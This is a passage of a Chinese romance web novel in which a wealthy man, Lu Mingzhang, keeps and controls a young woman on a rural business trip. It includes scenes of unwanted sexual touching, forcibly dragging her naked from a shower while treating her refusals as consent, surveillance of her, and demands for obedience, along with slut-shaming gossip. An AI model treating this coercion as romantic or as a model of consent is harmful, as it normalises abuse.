那目光本没什么深意,无波无澜的,但宋辞音就是感受到一丝不虞。
怎么不高兴了?
经过这两天的相处,宋辞音已经习惯性看他脸色,如果他不高兴,她心里也惴惴难安,一颗心不上不下的,很难受。
“我去送他吧。”
宋辞音硬着头皮说,一群人全都看向她。
“小朋友情绪有点崩溃,我送他回去,安全些。”底气不足说罢,颤颤巍巍看向众人,目光和梨树旁的陆明彰相汇。
陆明彰眯了眯眼。
王图南从老板的微动作中感受到一种审视的压迫,不动声色向后退了一步。
宋辞音缩着脑袋,牵住小孩的手,等待男人的最终答复。
下榻酒店由当地官员安排,突然多出来的一个年轻女孩,却没有额外让加房间,答案显而易见。
是和陆先生睡一间房的人。
众人眼观鼻,鼻观口,静观其变。
“也好。”陆明彰颔首,看向人时眸中闪着精锐的光,尤为明亮,“知道去哪找我?”
宋辞音心安稳落地,点点头:“知道的。”
从在陆明彰别墅醒来,她一直处于高压状态,之所以送小孩回家,一是看他哭得委屈,二是想远离他,能喘口气。
一大一小,迎着日落晚霞,牵手走在乡间小路。
“你上几年级了?”
小男孩蹦着嘴,不说话。
“家里都有谁在?”
小男孩胡乱用袖子抹了抹鼻子,被磨蹭泛黄的布料上带着些泥土污渍,干燥的,哪有什么鼻涕眼泪。
“姐姐给你说话呢,你怎么不回答呀?”
宋辞音摇了摇牵着小孩手的胳膊。
小孩扑闪着眼抬头,小小的脸庞满是不解:“你小时候家里没告诉你,不要跟陌生人说话吗?”
“额……”
在宋辞音小时候,父母工作忙,她经常被寄居在亲戚家里,起初是外公外婆家,后来外公外婆年纪大了身体不好,也被放在大伯父大伯母家过。
常年的寄人篱下,造就了她极强的适应性和乐观的性格。
适应性强,代表她无论处在什么环境,跟谁都能相处一下。
性格乐观,超强的钝感力,让她总是下意识把人往好处想。
苏念一说她这叫上善若水顺势而为。
宋辞音听了总是羞耻摇头,哪有那么高大上,我就是有点不太聪明吧,像是路边的野草,春风吹又生。
苏年一点头:对啊,与光同尘。
这样的性情,自然对人没有太大的防备心。
“但是你刚才没看见吗,我和你们村长在一块来着。”
“什么村长?你说的是管果园的吧?”小孩皱眉,满脸鄙夷。
“对,哎,你家有果园吗?”
小孩在一处庭院门口停下,面露难色,纠结说:“姐姐,你长得有点漂亮,可脑子确实不太聪明。”
“好呀,臭小孩,你竟然骂我。”宋辞音鼓起腮,举起手佯装要打他。
“二宝,是你在外面吗?”院内说话声由远及近,“吱”一声,深蓝色铁门从里面打开,走出一位三十多岁的女人,手里捏着笤帚。
小孩一溜烟儿躲到女人身后,冲着宋辞音吐舌头。
女人狐疑警惕地看向陌生女孩。
宋辞音冲着小孩囊皱了下鼻子,把前情大概说了下。
“你个小兔崽子,又乱窜,又乱窜,你嫌给家里添的麻饭不够多是不是?让你死皮不改!”女人扔掉笤帚,一把扯过小孩后颈,扬起巴掌就往他屁股上挥。
小孩身一扭,敏捷躲过巴掌,挣开女人的手:“诶,打不到,打不到,略略略。”
女人瞪他一眼,捡起地上笤帚空中飞舞,喘口气抱歉道:“不好意思,对不住啊,小孩都是被惯坏了。”
宋辞音笑着摇摇头,她抿唇笑,鹅蛋圆脸,很有亲和力。
“我们家这个是好动到头了,之前我和他爸在外面打工,他跟着爷爷奶奶,老人比较溺爱孩子,惯得无法无天。”女人话匣子被打开,“之前有一次几个皮猴子差点把村东的老屋给点了,幸亏屋里没人,不然我都不知去哪哭去!”
“啊?”宋辞音配合惊恐的表情。
“所以说啊……”女人叹息,“要说啊,还得谢谢陆先生,他为我们这里做了好多好事,现在我也不用出去打工了,能在家守着孩子,看着点他,万一长歪了,以后后悔也来不及了……”
宋辞音略有所思,晚霞映在她瞳仁,似点燃的火簇,亮亮的。
“有妈妈守着,他肯定很开心。”
女人脸上扬起幸福满足的笑容,赧然道:“真是不好意思,把陆先生衣服弄脏了,还让你把小孩送过来,我们村没见过你这么漂亮的姑娘,我都不知道说什么好了。”
宋辞音被夸的有些不好意思,脸颊飞过一抹绯色:“我也没做什么……”
“陆先生真是像菩萨一样的人,他真是太好了,天底下缺的就是陆先生这样的好人。”
宋辞音僵硬地点点头。
“来来,妹子,光顾着说话了,来家里喝杯茶。”
“不了不了,打搅太久了,也要回去跟他们汇合了。”
“
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真不用。”
“好,我会帮你传达给他的。”
……
宋辞音再三推辞,告别后,沿着来时的路往回走。
乡间较安静,车少,偶尔有电线杆上的几只鸟叽叽喳喳。
连风都是轻手轻脚的。
吹在脸上,有点冷,也很放松。
顺着路走了十来分钟,才察觉到不对劲,来时路很窄,回去路怎么那么宽?而且往来车越来越多?
意识到走错,宋辞音赶紧转头折回,去找正确的路。
这一找就是半小时,此时眼前景致完全是陌生的,一点印象没有。
暮色四合,天彻底黑了。
宋辞音的手机早就没电关机。
途中也有遇到行人打听,但她只记得路(现在也不记得了),并不知道目的地的名字,连问都不知道怎么问。
行人问她知不知道联系方式,她不会背陆明彰的手机号码。
天越来越冷,宋辞音拢了拢身上的驼色外套。
她从头到脚的衣物都是别墅里准备好的,没有从家里拿一件行李——毕竟从那天晕倒被带走后,也没回家过一次。
有什么很重要的东西从宋辞音脑海里一闪而过,她没有去深究,摇摇头,继续在岔子路口四处张望。
没关系的,她对自己说,因为冷,在原地蹦跳好几下,一定会找到。
不会是被鬼打墙了吧?
这个想法的冒出,冷汗瞬间打湿后背,愣愣直视前方,突然不敢四处张望。
淡定,宋辞音想,就算被鬼打墙,也不能让这只鬼看出自己害怕。
她快步向前走了几步。
身后紧跟响起一阵“哒哒”声。
视线之内,视野辽阔,平坦的路,一眼望不到头的田地。
大脑停止思考,双腿像是被打了兴奋剂,不知疲倦往前冲。
连风声都听不见,只有她的心跳和急促的呼吸,以及身后“哒哒”的声音。
声音越来越近,她跑得也越来越快。
一条河突然横在眼前。
走到尽头了。
宋辞音第一个想法就是,完蛋了,变成孤魂野鬼太惨了,死了也没人给她烧纸。
活着做穷人,死了也是穷鬼。
太惨了。
她站在距离河流三米的位置,纠结足足一分钟,心一横,眼一闭,拔腿就是一跃。
耳边似乎响起一阵疾风。
身体被铜墙铁壁般拖抱住。
宋辞音睁开眼,白色衬衫,再往上,是一张紧绷的脸。
是陆明彰。
太好了,是活人。
至于刚才的“哒哒”声……宋辞音目光在四处搜寻一番,四米开外,有只酱油色的小狗。
小狗被突然冒出的人震慑住,耷拉着头,呜咽两声,夹着尾巴逃走了。
“胡闹!”呵斥时,他明明没什么表情,可就让人觉得目光凶狠。
宋辞音缩了缩脖子。
“刚才这个小狗一直跟着我,我还以为是什么东西,也不敢回头看。”
“那就跳河?”陆明彰松开她,月光如水,清俊周正的面目似打上一层银霜,雍容又冷冽。
“跳河?”宋辞音嘴长了长又闭上,一脸难以置信。
“怎么会。”她弱弱说,“我还以为是鬼打墙,之前看电视人家跳大绳,想模仿一下来着……”
12. 第 12 章
陆明彰一瞬的皱眉,消化听到的内容,直接气笑了,笑意很快隐去,一只手扯住宋辞音上衣后颈:“你下来,来,给我跳。”
这个动作很不温柔,宋辞音连衣带人被提起,双手去拉扯他的手:“轻……轻点,弄疼我了。”
没由来的一股火气,陆明彰松手,改成抓着她的手腕,一边把人往大路带,一边呵斥:“娇气。”
他手上的力气很重,长腿大步流星,不管不顾往前走。
宋辞音跟不上,走得磕磕绊绊,手腕很痛。
被狗追的恐惧还未消解,劫后重生的喜悦被他的粗暴冲散,情绪的多重叠加,她感受到眼眶发热发酸。
“我哪娇气了?”宋辞音一张嘴就是哭腔,眼泪汹涌止不住,“我刚才一直找不到路,好黑,好害怕,都快吓死了。”
陆明彰停下,放松手上力度,仍是攥着纤细手腕,回过头,冷冷凝着她。
宋辞音登时止住哭声,肩膀一缩,不住地颤抖,双眼执拗瞪着,通红眼眶蓄满泪水,大颗大颗珍珠往下掉。
“你还凶我……”她小声呜咽,说着更委屈了,重复一遍,“你还凶我。”
陆明彰皱眉,心中划过不可名状的燥闷,声音缓了些:“我什么时候凶你了?”
她鼻子也红红的,一下下抽搐:“说话凶了,眼睛凶了,手凶了,你还不承认,你就是凶我了。”
“凶你又怎么了?”
风吹动额前碎发,夜幕下,男人眼中没一点温度。
她好冷,冷得打了个寒战,冷得手指发抖。
陆明彰移开目光不看她,顿了顿,又看向她,“满脑子封建迷信,破|四|旧没通知你家是吧?就这点出息,不记路还乱跑。”
宋辞音愣了愣,停下抽泣,两腮挂着泪,拧眉盯着他,一字一顿痛诉:
“如果,不是你非要带我来这个地方,我有机会乱跑吗?”
“如果,不是你突然冒出来,还辞掉我的工作,我现在应该在家吃晚饭!”
“这一切还不是因为你……都是因为你,你还凶我,你你……你太不讲理了!”
风声把一段话吹得七零八落,她哭声细细的弱弱的,像是受了天大的委屈。
在人心口划下一道口子。
陆明彰叹息,感受到一种从未有过的烦躁和挫败。
“好好好,来,你说,怎么才能不哭?”
“我就是想哭,我哭还不能哭了吗?你管的真的很多,就是你不讲理。”
“成。”陆明彰松开她手腕,眼神示意路边一块石头,“坐下。”
宋辞音不明所以抹眼泪,呆呆坐在石头上。
“哭。”头顶的人说,“哭够了哭完了再回去。”
她的眼睛酸涩,情绪稳定下来,理智也回笼,会不会把他惹恼了?
手背擦掉脸颊水份,她眯着眼,悄悄打量面前的男人。
陆明彰一脚踩在碎石上,弯下腰,臂肘搭在弯曲的膝盖上。
从这个角度,宋辞音能看到他挺阔的裤料中线。
视线向上,唇抿着,眼皮半垂,正盯着她。
四目相对,幽沉双目在她脸上定了定,是审视的目光,她读懂意思了,在问“怎么了?”
宋辞音咬住下唇,难以启齿:“去哪儿吃饭?我好饿了。”
陆明彰:……
怔忪间,突然有种直击心灵的迷茫,甚至都想问自己,浪费那么多时间在这里干什么?
却也有一种轻松轻快,让他自己都没意识到唇角上扬。
“走吧。”
“啊?”
陆明彰:“不吃饭了?”
宋辞音撇嘴:“哦。”
两人一前一后,走在月色辉光下。
他比她快两步,夜间风势渐大,单薄的白衬衫被风鼓起。呼呼作响。
宋辞音小心跟着。
小路蜿蜒曲折,视野一转,走到视线开阔的大路。
宽阔的柏油马路上停着十来辆车,车辆旁站着几个人,都在打电话交谈着,听口气比较焦急。
看见他们过来,急促对电话里的人交待几句,匆忙挂了电话。
“陆先生,找到了!”
“宋小姐,您没事儿吧?”
“我没什么事呀,不好意思啊,我害大家不能早点回去吃饭了。”
“没有!没有!是我们对宋小姐招待不周。”
她本身性格不爱给人添麻烦,因为自己迷路,让大家都没能及时回家,心里是很愧疚的。
但在去酒店的路上,以及达到酒店后,没有人迁怒于她,反而所有人都对她客客气气恭恭敬敬。
宋辞音不知道的是,因为等不到她回去,陆明彰先是让人去小男孩家里找,被他母亲告知人早就离开了。
意识到她人不见了,当地官员和果园基地的人吓得腿都软了,立马发动几十人分头寻找。
当时当地最高领导领着基地负责人,不停道歉。虽说他们本地民风淳朴,犯罪行为较少,但就怕出什么事儿无法担待。
几人就差跪下了。
陆明彰拨打宋辞音手机,提示对方已关机。他摁灭屏幕,面无表情抬起头:“行了,先别说没用的,都去找。”
如果不是陆明彰恰好把人找到,他们就要出动警力了。
半个小时后,对此一无所知的宋辞音,坐在当地最高档的酒店内,津津有味吃满一碗饭。
陆明彰是座上宾,是被人敬着捧着的,她作为“坐在他身边的人”,自然也是自在的状态。
完全不像是公司或者家族亲戚聚餐,要应酬要动脑子。
早上的一贴玉女煎发挥药效,一碗饭刚刚好,她默默放下筷子。
酒桌上聊得正畅快。
宋辞音无意听了几耳朵,聊的好像是什么水稻抗高温的内容,陆明彰很有兴趣,两名教授正在讲解。
有服务员及时续上热茶,她尝了一口,兴致缺缺放下茶杯。
话题中心的男人突然凑近耳边,从外人角度看又不至于太亲密扎眼。
“吃好就去房间吧。”
宋辞音迟疑,他作为主咖都没走呢。
手握成拳抵在唇边,轻咳两声:“会不会不礼貌?”
“不会。”
“那我需要给大家打招呼吗?”
陆明彰目光紧随说话的教授,回答随意:“不用。”
扭头漆黑的眼睛看向她:“直接走。”
他属于传统型周正长相,脸上没什么情绪时,是清俊儒雅的气质形象。
这种时刻就带给宋辞音很多误导性,减轻对他的防范和恐惧。
如此矜贵沉稳的一个人,怎么会做伤害他人的事呢?
宋辞音欢快回到酒店房间。
是套间,会客厅、起居室、餐厅等很完善。
俨然是一个规模完整档次高档的家庭模样。
要在这里住几天……
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和陆明彰……
他前一晚没有做到最后一步,说她身体虚弱,不适合。
那今天呢,明天呢?
“怎么把这岔给忘了……”
哀呼着,扎倒进柔软沙发。
手机充上电,苏念一的信息噼里啪啦蹦出来。
【和你daddy怎么样了呀?】
【姐妹要去参加一个博主集训活动,要没收几天手机,到时候没法和你联系了,要不先出来碰一面呀】
宋辞音读着好友的信息就发晕,把行李箱铺展地毯上,回复说:
【daddy什么鬼啊?】
【哎,我现在不在,早上被带出省了,一时见不了面。】
对方“正在输入中”,消息很快弹出来:
【愿意的还是被动的?】
宋辞音:【你说呢?】
苏念一:
【辞啊辞,我的辞,真惨】
【果然是大爹】
宋辞音:【年龄比我大不了多少,应该大个五六岁的样子吧】
苏念一:【得,这就护上了】
宋辞音快速打字:【才不是,你分不清事实和观点,我只是在和你交流一个事实,不代表我的观点和情绪,真的】
苏念一发来四个字:【你知道吗】
知道什么?
宋辞音等她的下文。
这时门铃响了,宋辞音把手机放在沙发上去开门。
门外是一位身穿酒店制服的工作人员,旁边停靠小餐车,恭谨道:“宋小姐,陆先生吩咐,来给您送驱寒姜汤。”
宋辞音向后撤了两步,让出通道。
服务人员把瓷碗摆在餐桌正中央,微微弯腰,看向宋辞音。
没有要走的意思。
“是还有什么事吗?”
“陆先生有交待,”她笑容可掬地说,“让我看您喝完再走。”
宋辞音:……
青花图样瓷碗内,黄褐色的液体散发着刺鼻的辛辣味道。
还没喝,姜的辛辣味就在口腔里蔓延,她苦闷地吞了下口水。
宋辞音瞥一眼服务人员,对方立即回以嘴角十五度的微笑。
犹犹豫豫端起瓷碗,捏住鼻子,大口猛灌。
辛辣感从口腔直达腹部,碗空了,她的手捂在嗓子边,不受控干呕两声。
眼泪也跟着出来。
服务人员及时递来一杯清水,关切问:“有什么需要我帮忙的吗?”
宋辞音轻抚胸口,缓解反胃的不适感,摆摆手:“你先出去吧。”
“好,那宋小姐,您有什么需要可以随时叫我。”
偌大套间内仅剩她一人,空气中仍旧弥漫姜汤的辛辣味。
浓烈的,让人喘不过气的,无法逃避的,气味。
宋辞音躺在沙发缓解好大会儿,再次点开手机。
苏念一的消息来自三分钟前:【某种意义上来说,你和陆daddy还蛮合适的】
她感觉连自己呼吸都带着姜味儿。
【我?和他?你告诉我,今晚是不是喝酒了?】
苏念一:
【这不重要】
【一个纯粹的、豁达的、散漫的东西,就是会吸引来复杂的、偏执的、强势的人,来破坏、占有】
而此时。
套房门从外推开,宋辞音的目光聚焦在玄关高大的身影,紧张地咬住下唇。
陆明彰走过来了。
13. 第 13 章
他没喝酒,自然是清明状态,从玄关看过来,目光深沉而灼热。
宋辞音想到被强制喝下的姜汤,又想到接下来会发生什么,慌乱站起来,双手不知道往哪儿放。
他弯腰,趿上拖鞋,长腿迈进客厅。
随手扯开几颗纽扣,衣领敞开,倚躺在沙发靠垫,露出虽呼吸上下滚动的喉结,和半片胸膛。
“水。”声音很沉很缓。
宋辞音小跑去餐厅,端来一杯温水。
男人大口大口饮,喝完一递,她赶紧接过来。
渴成这样,在酒桌上还不知道喝水吗?
室内静悄悄的,俩人都没说话。
两分钟后,陆明彰从沙发起身,走向卫生间,下指令说:“把衣服送过来。”
卫生间内响起淋浴的水声。
宋辞音慢腾腾找到他行李箱,铺展在她行李箱旁边,里面一应物品准备整齐。
她翻出收纳内裤的包,脸已经发红发烫,像是触碰烫手山芋一样,食指和拇指扯住内裤的一个边角,用力一拉。
又翻出一套睡衣,把内裤卷进睡衣里,放到淋浴间门外洗漱台上。
陆明彰很快出来了,头发用毛巾搓过,半干不干的状态,丝丝缕缕支楞着。
略带湿意的眼睛在室内搜寻一圈:“电脑呢?”
宋辞音从写字台找到电脑,递到他手上。
陆明彰又坐在沙发上,打开电脑,开始办公。
看他刚才的样子,还以为人工作很累了,是她想多了,他精力极其充沛,此刻神采奕奕,全部注意力都在电脑屏幕上。
这让宋辞音反而松了一口气。
翻出衣物,去冲了热水澡,吹干头发,已经是半个小时后,她躺在酒店两米大床上。
姜汤发挥作用,腹部热热的,困意来袭,眼皮上下打架。
就在她半睡半醒时,身后床的另半边有人躺下,紧接着一只手抚上她的后背。
宋辞音吓得一激灵,瞬间清醒。
“扭什么,给你捏下大椎。”他似乎很嫌弃,“就你这身体,一受风就要病。”
嗯……她好像确实挺容易感冒生病的,从小到大都习惯了。
宽厚温热的手掌停靠在她后颈向下三公分的位置,缓慢地揉捏起来。
有一点疼,却也能忍受。
只是他没捏一下,她的心似乎也被揪紧,她的手不自觉捻住枕皮布料,以此来缓解心中的焦灼难受。
不一会儿,身体竟然有微微发汗的感觉,热腾腾的,通身舒适气血打通,他揉捏的每一下,都觉得舒服。
陆明彰的手停下来。
宋辞音张开眼,又赶紧闭上,就当已经睡着。
但,他接下来做的事,让她没办法坐以待毙。
那只原本揉捏大椎的手,改落在她的腰上,随后向肋骨位置靠拢。
宋辞音双目惊恐圆睁:“干……干什么?”
他的声音低沉嗓哑,又不可一世:“帮你驱寒了,该给我暖手了。”
她力气很小,完全不是他的对手,他几乎不用用力,就能绝对压制,为所欲为。
“你不是说我身边很弱,还不能……还不能……”宋辞音咬着唇,脸颊早是酡红色,不好意思说下去。
他压抑着低笑,好像很不畅快,又好像很开心:“我也没干别的啊。”
推他手的力气无疑是蚍蜉撼树,她努力去忽略掉身体的感受,齿贝扣紧禁止呼吸声急促。
好在他说到做到,真的没有做别的。
一小时后,汗涔涔的宋辞音逐渐熟睡。
陆明彰冲了两次冷水澡,快天亮时,才盯着房顶入睡。
宋辞音醒来时旁边的床是空的,她穿衣洗漱完毕,走出卧室,陆明彰依旧是容光焕发。
看她出来,缓缓撩起眼皮:“醒了。”
“嗯……”
想起睡前插曲,脸又止不住发烫,错开目光不去看他。
掀开床帘一角,真好,又是个大晴天。
陆明彰却很自然,完全没什么不好意思:“早餐一会儿就送上来。”
“我可以下去吃吗?”她看向陆明彰投来的视线,解释说,“我们那儿前些天一直下雨,好久没感受这么好的阳光了。”
他无声看着她,似乎在思考话里的可信度,随后颔首。
在这种无足轻重的小事上,他一向宽容。
宋辞音雀跃去按电梯。
昨天过来时她就看到了,有些餐桌摆放在小花园里,可以用餐的同时看风景。
她拿了一杯热牛奶,一个煮鸡蛋,和一碗小混沌,还有几块水果。
把食物端到餐厅外花园内的圆桌上,享受久违的阳光和独处的轻松。
不一会儿,后方隔着一张桌的位置,坐下两名男士。
戴眼镜的男人望着满桌的食物,不禁感慨:“没想到县城也有这么好的酒店。”
“可不是。”另一个黑黑瘦瘦的男人道,“都是接待各地领导的,能不好吗,而且他们这儿的旅游项目刚开发好,不少过来旅游的。”
“也就是有助农项目,市里让陪着,才给薅上羊毛了。”眼镜男说着问,“你见过那位领导了吗?”
说着他声音压低了些:“听说啊,领导带着一个很漂亮的妹子,很年轻,看着像没毕业的。”
并不是宋辞音有意偷听,实在是声音往她耳朵里钻,即使他们已经刻意压低声音了。
“我见着了,晚上,只看到一个侧脸,长得是不错,年纪很小,那身材,不好形容。”口吻逐渐暧昧。
“不好形容是什么意思啊,你越说我越好奇。”
“瞧你的出息,一个看上去都不一定毕业的女的,跟着这么有钱的大人物,包的呗,不知道被多少骑过了,你要是有钱啊,也能包十个八个。”黑瘦男轻哼,“这种女的,不要彩礼倒贴我我都不要,不知道几手了,太脏。”
“确实,这种也就玩玩儿,娶回家肯定不行。领导就是领导,玩的可真花。”
“那可不是,上次这领导来,有人还安排了女学生送酒店里……”
“真的假的,这话可不敢瞎说。”
“当然是真的,我怎么拿这个开玩笑……”
一小碗混沌,宋辞音就吃了两口,手里举着汤勺,僵硬在原地。
来电显示是陆明彰的电话,他在催她回房间。
宋辞音行尸走肉般推开门,男人西装革履穿戴好,好不俊逸。
他把电脑装进公文包,看她进来,侧过脸说:“收拾一下,马上出发。”
“去哪儿啊?”她呆呆的,眼睛空洞,目视前方。
“种植研发基地。”
“哦,我可以不去吗?”
陆明彰停下手上动作,看过来。
“我不感兴趣,身体也不舒服,不太想去。”
话还没说完,有人捏住她下巴,被强硬抬起头。
陆明彰面无表情,居高临下审讯:“怎么了?”
“没怎么啊。”
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宋辞音扯了扯嘴角,移开目光不去看他,笑着说,“很奇怪哎,为什么这么问。”
他未动,漆黑深邃的眼睛似乎直视进她心里,企图抓住破绽。
宋辞音一直乐呵呵的,捏住下巴的力度消失。
他手上力度松开:“中午让餐厅送饭。”
她点头:“好。”
两人都不说话。
陆明彰走到玄关换鞋,他拧开把手,又松下,侧脸望进来时,下颌线绷得紧紧的,严厉道:“我对你要求不算高。”
坐在沙发的宋辞音闻声扭头,看向他。
“乖巧听话。别让我失望。”
严肃话语落地,“嘭”一声,房门被紧闭。
房间内只剩她一个人。
乖巧听话四个字,从这几天的相处中,她已“领略”太多——
要服从安排,性格温顺,表里如一,知无不言,不能撒谎,认真听他讲话。
以后呢?
以后“乖巧听话”还能延伸出多少含义和要求?
宋辞音揣起手机下楼。
陆明彰坐上去往种植研发基地的专车,陈思状态下让他浓密两眉之间皱起竖纹。
“查一下,她下楼吃早餐时的监控。”
吴建峰关上后车门,坐到副驾驶,反应了一下,老板嘴里的“ta”是谁。
“好的。”
……
一天时间在忙碌中很快过去,陆明彰以“太累”推辞了研发基地的热情邀宴,同行的刘教授自然紧随其后。
返程路上,他双目炯炯依然焕发光彩,吴建峰知道自己老板精力体力有多异于常人,“太累”不过是借口。
吴建峰默不作声地递给后座老板pad,随后坐直身体,从后视镜不动声色观察老板脸色。
两个男人交谈的录播在车内外放。
直到录播结束,陆明彰面色如常,随后把pad仍在后排空坐上。
吴建峰连呼吸都小心翼翼。
到达酒店,陆明彰下车,走在最前面,吴建峰随后,刘教授和他学生助理在最后面。
“我看你朋友圈了,你们今天玩这么好啊,我说怎么没看见宋小姐,原来是跟你们一起去玩了啊。”说话的人是刘教授学生助理小冯,他进大厅时刚好看到校友同学小李。
小李是另一位张教授的学生助理,他们今天去了花卉中心,没有和陆明彰一起。
“拍那么多照片,我要盗你几张图!”
小冯和小李正翻看朋友圈交谈着,突然一高大的身影折回来停在他们身边,挡住头顶的光。
俩学生助理疑惑抬头:“陆……陆先生?”
“嗯。”陆明彰伸手,“我看下照片。”
“哦……好。”学生助理小李颤颤巍巍递出手机。
陆明彰滑动手机屏幕,各式各样鲜花照片,其中有两张,扎着马尾的女孩身处花海中,对着镜头微笑,笑得很开心。
是的,宋辞音下楼后刚好碰到张教授,跟他们去花卉中心玩了一天。
手机屏幕处倏地被摁灭,小冯赶紧接住手机。
陆明彰大步走向电梯。
身后是张教授的怒吼声:“拍什么照片,全删掉!都是专利机密懂不懂!朋友圈删掉,相册里也删掉!”
他此时无比后悔带宋辞音同往,更后悔没看住学生。
小李被吼得莫名奇妙,现场都在拍照啊……
吴建峰望着老板料峭的背影,手背抹汗,今晚……不太平啊……
14. 第 14 章
宋辞音冲洗干净身体泡沫,摘掉头顶发箍,散下长发,正要洗头时,听到套房门响了。
她知道是陆明彰回来了。
就在水流要冲洗发丝时,卫生间的门被人从外面打开。
淋浴间在卫生间内,淋浴间的门是透明玻璃。
她很惊讶,陆明彰竟无所顾忌地走进卫生间。
这些天,他亲过她,也有过动手动脚,但从未做过这般堂而皇之的事情。
那眼神平淡无波,隔着透明玻璃门,望向赤裸的她。
宋辞音一手抱住肩膀,一手下垂,堪堪遮住要害部位。
身体的恐惧让她往后推,布满水珠的后背紧贴在冰硬墙面,寒凉穿过毛孔,透彻四肢百骸。
因为羞耻,一双眼不敢看他。
“你……你出去!”
陆明彰眼眸沉沉,一眨不眨,眼皮半遮无动于衷凝视。
灯光下,年轻胴体鲜活而静谧。
如同采摘下的新鲜荔枝,鲜艳的,晶透的。
忽然,大步往前走,拉开玻璃门,拽住遮挡在胸前的手腕,用力一扯。
宋辞音敌不过他的力,毫无防备,踉踉跄跄,被拉出淋浴间。
手腕被他攥着,根本无法挣脱。
她慌乱往后退,腰部抵在盥洗台冰冷的瓷砖上。
双眼猩红,忍着泪,羞愤又惊惶地抬头。
他正垂下眼,疏离的目光没什么温度。
宋辞音感到有什么尖锐的东西,覆上顶端位置,她不敢相信自己眼睛。
是他另一只手里捏着的房卡。
一下下刮蹭。
眼泪瞬间翻涌,她屈辱又难受地别过脸,气愤,紧张,胸口剧烈起伏,连呼吸都紧促。
“喜欢吗?”
他送开她的手,捏住小巧的下巴骨,她的脸就在他手里了,只需要轻轻一用力,就把脸扭正。
她不得不面对他,看着他。
看他如何折辱她,欺负她。
看在他身下,自己是多么的恐惧、渺小、无可奈何。
宋辞音拼命摇头,滚烫的眼泪滴落在他虎口。
“嗯,喜欢是吗。”
“不喜欢,不喜欢,不喜欢。”她一下下摇头,声音断断续续,“我说不喜欢,求你了,求你别这样。”
“我知道,”陆明彰拇指去抹她脸颊的泪,“你说不喜欢,就是喜欢,一直心口不一,口是心非。”
“没有,我没有,就是不喜欢,我敢发誓,这是真话。”
“嗯。”他轻轻应,房卡被扔进水池,扯住她胳膊往外走,“什么时候说假话了?”
他动作粗鲁,走得又快又急,宋辞音跟不上,中间拖鞋都不知掉在哪里,光脚踩在地板、地毯上。
一挣一脱间,就到了会客厅。
什么时候说假话了?
这一切,要如何描述呢?
他威逼在先,她势单力薄不得不从。是他想要的太多了,不仅人要在这里,还要乖巧听话。
哪怕她不聪明,胆子又小,可她,多多少少,还是有一点点的自我吧。
一个满腹委屈愤恨羞耻的人,怎么心甘情愿?
这样畸形的权力关系,注定是千疮百孔,充满猜忌和不确定。
自然做不到心无旁骛的乖巧听话。
“我……我在反思了……”她哽咽,泣泪涟涟,楚楚可怜。
门铃响了。
两个人僵持在原地,宋辞音胡乱抹掉脸上的泪。
想到隔着一扇门,自己又没穿衣服,就如芒在背,不安感剧增,好像下一秒就被看光。
门外,王图南声音温润而醇厚。
“陆总,在吗,您的晚餐到了,正热乎着。”
在回来路上,陆明彰安排他去买本地非常有名的酸菜饺子,此刻一无所知的王图南捧着两份饺子和几样小菜,回来交差。
宋辞音不安和拘禁下,佝偻着腰,她竭力克制抽泣,可身体仍是止不住颤抖。
陆明彰面色暗了又暗,目光沉了又沉,松开她的手,命令道:“进去。”
她就像得到赦免的犯人,慌不择路,再次逃回卫生间。
就算能挡住前面,也挡不住后面,她知道后背有两道目光紧随,心里发毛,猫着腰差一点滑倒。
套房门打开,陆明彰神色如常,沉着道:“辛苦。”
王图南哪里敢当他一句辛苦,赶忙笑道:“顺手也给自己买了份,托陆总的福,不然还没机会吃呢。”
“这两天辛苦了,去休息吧。”陆明彰接过打包好的晚餐,关上房门。
门外的王图南猝不及防一个激灵。
陆明彰话不算多,一向也对自己人比较客气,刚才的反应都挺正常。
但那个关门声,似乎比平常力气大些、重些。
应该是心情不好。
这是做助理的基本素养,也是从小要学习的察言观色。
像陆明彰这样的人,一向是喜怒不形于色的,只能从细枝末节去留意觉察。
不会来的不是时候吧?
王图南心神不宁地敲开吴建峰房门:“我去买晚餐后,发生什么事儿了?”
吴建峰没让人进来的意思,堵在门口看pad:“是出了那么一点意外。”
“那你怎么不告诉我?”他皱眉。
“你也没问啊。”吴建峰撩起眼皮扫他一眼,“回吧回吧,我要休息了。”
心想,谁让你总是自诩不凡爱表现,让服务员把晚餐送去,不啥事没有,表现精。
王图南:……
陆明彰把晚餐放在餐桌,拉开座椅:“出来。”
在此期间,宋辞音穿上睡衣,找到拖鞋,缓慢而小心翼翼地走出卫生间。
直达走近落座了,陆明彰也没抬头再看她一眼。
一顿饭吃得安安静静。
宋辞音偶尔会轻咳两声,每次嗓子抑制不住发出声音,她都赶紧捂住嘴,惊慌地瞅一眼对面人的脸色。
好在他还不至于变态到剥夺她咳嗽的权利。
陆明彰吃好晚餐后,又处理了一会儿工作,等到洗漱完毕,宋辞音已经躺下发了一小时呆了。
随着旁边存在感十足的人躺下,宋辞音双手十指都绞在一起。
“说说看。”他一副考官姿态,“反省什么了。”
“嗯……”宋辞音默了默,弱弱开口道,“两个陌生的人,刚在一起相处,难免有摩擦,人都有难言之隐,你
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也有你的苦衷的。”
她脑子很乱,自己都不知道自己在说什么。
有些思路在心中逐渐清晰,被执拗地刻意地忽略掉了。
陆明彰盯着她,连她蹙眉抿嘴任意一个小动作都不放过:“我什么苦衷?”
“比如那天我去送小男孩,你可能是不想让我去的吧,还骂我不认路,但考虑到我去送会帮你赢人心,就还是让我去了……”
她话未说完,明显感觉头顶男人脸色冷下来。
抬起头,不安的、惊魂未定地去瞧他,正好撞进幽深愠怒的眼眸里。
陆明彰声音略低:“你是这么想的?”
“你别生气,生气伤肝,如果我说的不对……”她咬住下唇,目光哀微。
话还未说完,遮盖在身上的被子被人猛力扯走:“出去。”
宋辞音一愣,没有太多时间反应,害怕和小心成为习惯,她快速下床,踏在地毯上。
床上的人阖着眼,即使面无表情,也能感受到汹涌的愠色。
她趿上拖鞋,蹑手蹑脚走到会客厅,客厅沙发很大,足够接纳她。
在沙发上躺了半个小时,有人按门铃,客房部的人送来一床被子。
早已经没什么情绪了,她披上被子,终是沉昏昏睡去。
第二日早上。
如果按照电视剧中情节,她睁眼后发现躺在床上,半夜被人抱回卧室。
并没有。
醒来后手掌心是沙发的触感,嘴角还挂着几滴口水。
套间内只有她一个人,陆明彰早就不知去向。
翻开手机发现才七点多。
他这么早就出门了?
宋辞音在房间内吃早饭、中饭、晚饭。
一直到深夜,陆明彰依然没回来。
也再没看到两名助理,以及教授和学生。
宋辞音依旧睡在了沙发上,谁知道他会不会半夜回来,发现被赶下床的人不经同意睡回去,又发脾气。
只是等她早上再醒来时,套房内依旧是孤零零的一个人,陆明彰依旧不在。
他也没留下什么口信。
